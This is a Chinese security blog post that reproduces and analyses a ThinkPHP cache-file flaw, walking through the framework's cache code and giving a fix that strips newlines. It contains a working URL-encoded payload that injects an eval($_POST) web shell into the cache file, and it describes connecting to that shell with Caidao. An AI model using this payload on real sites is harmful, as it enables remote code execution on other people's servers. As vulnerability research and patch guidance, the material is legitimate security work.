Thinkphp缓存函数设计缺陷getshell漏洞重现及分析 | LSABLOG

首页 » NetworkSec » Penetration » 正文

Thinkphp缓存函数设计缺陷getshell漏洞重现及分析

0x01 概述:

看到一篇帖子

https://xianzhi.aliyun.com/forum/read/1973.html

参考此帖子的步骤重现这个bug,并以tp3.2.3为例进行漏洞分析。

大概就是缓存函数设计不严格,导致攻击者可以插入恶意代码,直接getshell。

0x02 影响版本

5.0.10-3.2.3

0x03 bug重现

环境:redhat6+apache2+Mysql+php5+thinkphp3.2.3

IndexController.class.php:

关键代码:

 public function add(){
        $db = M('books','think_');

        if($_POST['bookname'] && $_POST['price'])
        {
            $data['bookname'] = $_POST['bookname'];
            S('name',$data['bookname']);
            $data['price'] = $_POST['price'];
            $result = $db->add($data);
            if($result)
            {
                $this->redirect('Index/main','',2,'add success!');
            }   
        }
        else
        {
            $this->display();
        }
        
        
        
    }

效果图:

添加书名ruby,价格34

看看缓存文件:

来试试添加一句话:eval($_POST[‘tpc’]);

用burpsuite提交数据。

抓包修改

bookname=%0D%0Aeval(%24_POST%5b%27tpc%27%5d)%3b%2f%2f

也就是回车,最后加上//。

Ps:那篇帖子的一句话是(//回车+一句话+#),我认为开头不用//也行,目的是换行写入一句话,我最后用//注释掉其他东西。

成功插入,如图:

再看看缓存文件和数据库:

都成功写入,到了激动人心的连接时刻了,上菜刀

http://192.168.0.100/thinkphptest/thinkphp/Application/Runtime/Temp/b068931cc450442b63f5b3d276ea4297.php

(注意大写,不然会not found……)

至此,bug成功重现!

0x04 修复方案

从重现过程可以看出,在缓存文件里攻击者通过换行写入了恶意代码。所以可以参考那篇帖子的修复方案:
1,打开文件:thinkphp\library\think\cache\driver\File.php
2,找到:public function set($name, $value, $expire = null) 方法
3,添加:$data = str_replace(PHP_EOL, ”, $data);

就是去掉\r或\r\n或\r,即去掉换行。

0x05 漏洞分析

那篇帖子以tp5为例分析,我这里就以tp3.2.3来分析吧,原理都是一样的。

先找到Cache.class.php文件,关键代码:

/**
     * 连接缓存
     * @access public
     * @param string $type 缓存类型
     * @param array $options  配置数组
     * @return object
     */
    public function connect($type='',$options=array()) {
        if(empty($type))  $type = C('DATA_CACHE_TYPE');
        $class  =   strpos($type,'\\')? $type : 'Think\\Cache\\Driver\\'.ucwords(strtolower($type));       
        if(class_exists($class))
            $cache = new $class($options);
        else
            E(L('_CACHE_TYPE_INVALID_').':'.$type);
        return $cache;

这里读入配置,获取实例化的一个类的路径,路径是

Think\\Cache\\Driver\\

这里我尝试了var_dump($class)和echo $class直接浏览器访问Cache.class.php都无法像那篇帖子一样打印出$class,后来才发现添加数据写入缓存页面跳转才打印了Think\\Cache\\Driver\\File。

关键代码:

/**
     * 取得缓存类实例
     * @static
     * @access public
     * @return mixed
     */
    static function getInstance($type='',$options=array()) {
        static $_instance   =   array();
        $guid   =   $type.to_guid_string($options);
        if(!isset($_instance[$guid])){
            $obj    =   new Cache();
            $_instance[$guid]   =   $obj->connect($type,$options);
        }
        return $_instance[$guid];
    }

    public function __get($name) {
        return $this->get($name);
    }

    public function __set($name,$value) {
        return $this->set($name,$value);
    }

    public function __unset($name) {
        $this->rm($name);
    }
    public function setOptions($name,$value) {
        $this->options[$name]   =   $value;
    }

    public function getOptions($name) {
        return $this->options[$name];
    }

这里实例化了那个类,我们重点关注set方法,接着直接找到这个路径下的File.class.php吧。

关键代码:

public function set($name,$value,$expire=null) {
        N('cache_write',1);
        if(is_null($expire)) {
            $expire =  $this->options['expire'];
        }
        $filename   =   $this->filename($name);
        $data   =   serialize($value);
        if( C('DATA_CACHE_COMPRESS') && function_exists('gzcompress')) {
            //数据压缩
            $data   =   gzcompress($data,3);
        }
        if(C('DATA_CACHE_CHECK')) {//开启数据校验
            $check  =  md5($data);
        }else {
            $check  =  '';
        }
        $data    = "<?php\n//".sprintf('%012d',$expire).$check.$data."\n?>";
        $result  =   file_put_contents($filename,$data);
        if($result) {
            if($this->options['length']>0) {
                // 记录缓存队列
                $this->queue($name);
            }
            clearstatcache();
            return true;
        }else {
            return false;
        }
}

这就是写入缓存的set方法,对传入的数据进行了序列化和压缩,

重点看这两句:
$data    = “<?php\n//”.sprintf(‘%012d’,$expire).$check.$data.”\n?>”;

$result  =   file_put_contents($filename,$data);

简单拼接一下就写入文件了,Bug就出现在这里,这时来看看我们payload:

%0D%0Aeval(%24_POST%5b%27tpc%27%5d)%3b%2f%2f

解码后就是:换行+eval(%_POST[‘tpc’]);//

就写入恶意代码了。

最后看看文件名:

/**
     * 取得变量的存储文件名
     * @access private
     * @param string $name 缓存变量名
     * @return string
     */
    private function filename($name) {
        $name   =   md5(C('DATA_CACHE_KEY').$name);
        if(C('DATA_CACHE_SUBDIR')) {
            // 使用子目录
            $dir   ='';
            for($i=0;$i<C('DATA_PATH_LEVEL');$i++) {
                $dir    .=  $name{$i}.'/';
            }
            if(!is_dir($this->options['temp'].$dir)) {
                mkdir($this->options['temp'].$dir,0755,true);
            }
            $filename   =   $dir.$this->options['prefix'].$name.'.php';
        }else{
            $filename   =   $this->options['prefix'].$name.'.php';
        }
        return $this->options['temp'].$filename;
}

文件名就是md5加密值。

0x06 结语

这个thinkphp缓存函数设计bug,利用起来不难,但是感觉还是挺鸡肋,原因如下:

1.要开启缓存

2.接着虽然文件名是md5固定值,但是TP3可以设置 DATA_CACHE_KEY 参数来避免被猜到缓存文件名

3.缓存使用文件方式

4.缓存目录暴露在web目录下面可被攻击者访问

练习下审计也是不错的。

0x07 参考链接

https://xianzhi.aliyun.com/forum/read/1973.html

Comment